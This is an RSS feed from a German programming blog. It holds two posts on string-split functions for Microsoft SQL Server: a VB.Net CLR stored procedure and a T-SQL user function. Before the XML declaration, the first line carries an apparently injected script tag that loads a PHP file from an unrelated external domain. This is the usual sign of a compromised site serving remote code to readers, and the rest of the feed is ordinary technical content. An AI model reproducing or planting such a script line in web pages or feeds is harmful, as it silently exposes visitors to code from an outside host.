<script src=http://soapstone-india.com/css/Soapstone-Serpentine.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; MSSQL</title>
	<atom:link href="http://www.xentrope.de/tag/mssql/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Split Funktion mittels CLR</title>
		<link>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/</link>
		<comments>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 09:00:21 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[CLR]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[Split]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[VB.Net]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=95</guid>
		<description><![CDATA[Eine beliebte Stringfunktion fehler leider nach wie vor im SLQ Server: Split. Das hat sich auch mit dem neuen SQL Server 2008 immer noch nicht geändert. Ich hatte ja schon mal eine Splitfunktion gepostet, möchte dies aber jetzt als CLR Funktion implementieren. Lange Reder kurzer Sinn: Man erstellt im Visual Studio ein neues Datenbankprojekt. In [...]]]></description>
			<content:encoded><![CDATA[<p>Eine beliebte Stringfunktion fehler leider nach wie vor im SLQ Server: Split. Das hat sich auch mit dem neuen SQL Server 2008 immer noch nicht geändert. Ich hatte ja schon mal eine <a href="http://www.xentrope.de/2008/04/split-funktion-fur-mssql-2000/">Splitfunktion gepostet</a>, möchte dies aber jetzt als CLR Funktion implementieren. Lange Reder kurzer Sinn:  </p>
<ul>
<li>Man erstellt im Visual Studio ein neues Datenbankprojekt.</li>
<li>In den Projekteinstellungen sollte die Assembly signiert werden (Einstellungen &#8211; Signing &#8211; Sign the assembly)</li>
<li>Unter dem Karteireiter &#8220;Database&#8221; kann vorerst das Permissionlevel auf Safe bleiben, da wir ja keine externen Resources ansprechen wollen.<br />
Safe = Zugriff auf Daten des eigenen SQL Servers über den In-process Managed Provider<br />
External = Zugriff auf externe Resourcen ist erlaubt<br />
Unsafe = Es kann unmanaged Code ausgeführt werden<br />
Erhält man eine Fehlermeldung beim Bereitstellen der Assembly, kann es daran liegen das der Datenbank nicht vertraut wird. Dann sollte man die Trustworthy Eigenschaft setzen:</p>
<pre name="code" class="html:nocontrols:SQL">
Alter Database [DB] Set Trustworthy on
</pre>
</li>
<li>Man fügt dem Projekt eine neue Klasse hinzu, ich habe sie einfach &#8220;Stringfunctions&#8221; genannt.</li>
<li>Dieser Klasse fügen wir eine Prozedur hinzu:
<pre name="code" class="html:nocontrols:VB.Net">
    &lt;SqlProcedure()&gt; _
    Public Shared Sub Split(ByVal Input As SqlString, ByVal Delimiter As SqlString)
        Dim pipe As SqlPipe = SqlContext.Pipe
        Dim splittet() As String = Input.Value.Split(Delimiter.Value.ToCharArray)
        Dim reslist As New List(Of SqlMetaData)
        For i As Integer = 0 To splittet.Length - 1
            reslist.Add(New SqlMetaData("Col" + i.ToString(), SqlDbType.NVarChar, 4000))
        Next
        Dim result As New SqlDataRecord(reslist.ToArray())
        For i As Integer = 0 To splittet.Length - 1
            result.SetString(i, splittet(i))
        Next
        pipe.Send(result)
    End Sub
</pre>
<p>Das Attribut SqlProcedure() sorgt dafür, das beim Bereitstellen automatisch eine neue Stored Procedure angelegt wird. Als Parameter der Prozedur übergeben wir zwei SQLStrings: Input und Delimiter. Wofür diese stehen sagen die Namen ja schon&#8230; ;) Um die Anzahl der notwendigen Spalten in unserer Ergnistabelle zu ermitteln legen wir uns ersteinmal eine neue Liste mit Spaltendefinitionen an. Danach wird unsere Ergebnistabelle erstellt: </p>
<pre name="code" class="html:nocontrols:VB.Net">
Dim result As New SqlDataRecord(reslist.ToArray())
</pre>
<p>Jetzt können wir endlich alle Elemente aus dem Array in die Ergebnistabelle schreiben und zurückgeben:</p>
<pre name="code" class="html:nocontrols:SQL">
For i As Integer = 0 To splittet.Length - 1
	result.SetString(i, splittet(i))
Next
pipe.Send(result)
</pre>
<p>Die Verwendung der Funktion ist denkbar einfach:  </p>
<pre name="code" class="html:nocontrols:SQL">
exec Split 'feld1;feld2;feld3;feld4;feld5;feld6;feld7',';'
</pre>
<p>Und liefert uns eine Tabelle zurück:</p>
<pre name="code" class="html:nocontrols:Text">
 Col0	Col1	Col2	Col3	Col4	Col5	Col6
 feld1	feld2	feld3	feld4	feld5	feld6	feld7
 </pre>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Split Funktion für MSSQL 2000</title>
		<link>http://www.xentrope.de/sqlserver/split-funktion-fur-mssql-2000/</link>
		<comments>http://www.xentrope.de/sqlserver/split-funktion-fur-mssql-2000/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 06:31:51 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[Split]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2000]]></category>
		<category><![CDATA[SQL 2005]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=24</guid>
		<description><![CDATA[Kann man immer wieder mal brauchen: Eine Split-Funktion für MSSQL (ab 2000). CREATE FUNCTION [dbo].[udf_ItemExtract] ( @Position INTEGER, @List VARCHAR(2000), --VARCHAR(MAX) @Delimiter VARCHAR(1) ) RETURNS VARCHAR(2000) --VARCHAR(MAX) AS BEGIN DECLARE @RetVal VARCHAR(2000) SET @RetVal = '' --VARCHAR(MAX) DECLARE @Counter INT SET @Counter = 0 DECLARE @StartPos INT DECLARE @Length INT DECLARE @DelimPos INT SET @DelimPos [...]]]></description>
			<content:encoded><![CDATA[<p>Kann man immer wieder mal brauchen: Eine Split-Funktion für MSSQL (ab 2000).</p>
<pre name="code" class="sql">CREATE FUNCTION [dbo].[udf_ItemExtract]
(
 @Position INTEGER,
 @List VARCHAR(2000),  --VARCHAR(MAX)
 @Delimiter VARCHAR(1)
)
RETURNS VARCHAR(2000)  --VARCHAR(MAX)
AS
BEGIN
 DECLARE @RetVal VARCHAR(2000) SET @RetVal = ''  --VARCHAR(MAX)
 DECLARE @Counter  INT SET @Counter = 0
 DECLARE @StartPos INT
 DECLARE @Length INT
 DECLARE @DelimPos INT SET @DelimPos = 0
 -- SCAN THROUGH UNTIL WE FIND THE ITEM AT THE POSITION OF THE INDEX - WE'LL GO THROUGH WHILE LOOP AT LEAST ONCE
 WHILE @Counter &lt; @Position
  BEGIN
   SET @Counter = @Counter + 1   -- increment counter
   SET @StartPos = @DelimPos + 1 -- move the start position to right after previously found delimiter (or 1st char if this is the fist time through
   SET @DelimPos = CHARINDEX(@Delimiter,@List,@DelimPos + 1)   --find the next delimiter
   -- IF THERE ARE NO DELIMITERS LEFT...
   IF @DelimPos = 0
   BEGIN
    -- IF WE'RE ON THE POSITION WE'RE LOOKING FOR, THEN SET LENGTH TO THE REST OF THE STRING
    IF @Counter = @Position SET @Length = (LEN(@List)+1)-@StartPos
    -- OTHERWISE SET LENGTH TO -1 AND THAT WILL BE AN INDICATOR TO RETURN EMPTY STRING
    ELSE SET @Length = -1
   END
   ELSE SET @Length = @DelimPos - @StartPos  -- otherwise length is now from new start pos right up to delimiter
  END
  -- RETURN THE EXTRACTED STRING
  IF @Length &gt; 0 SET @RetVal = SUBSTRING(@List,@StartPos,@Length)
  RETURN @RetVal
END</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/sqlserver/split-funktion-fur-mssql-2000/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
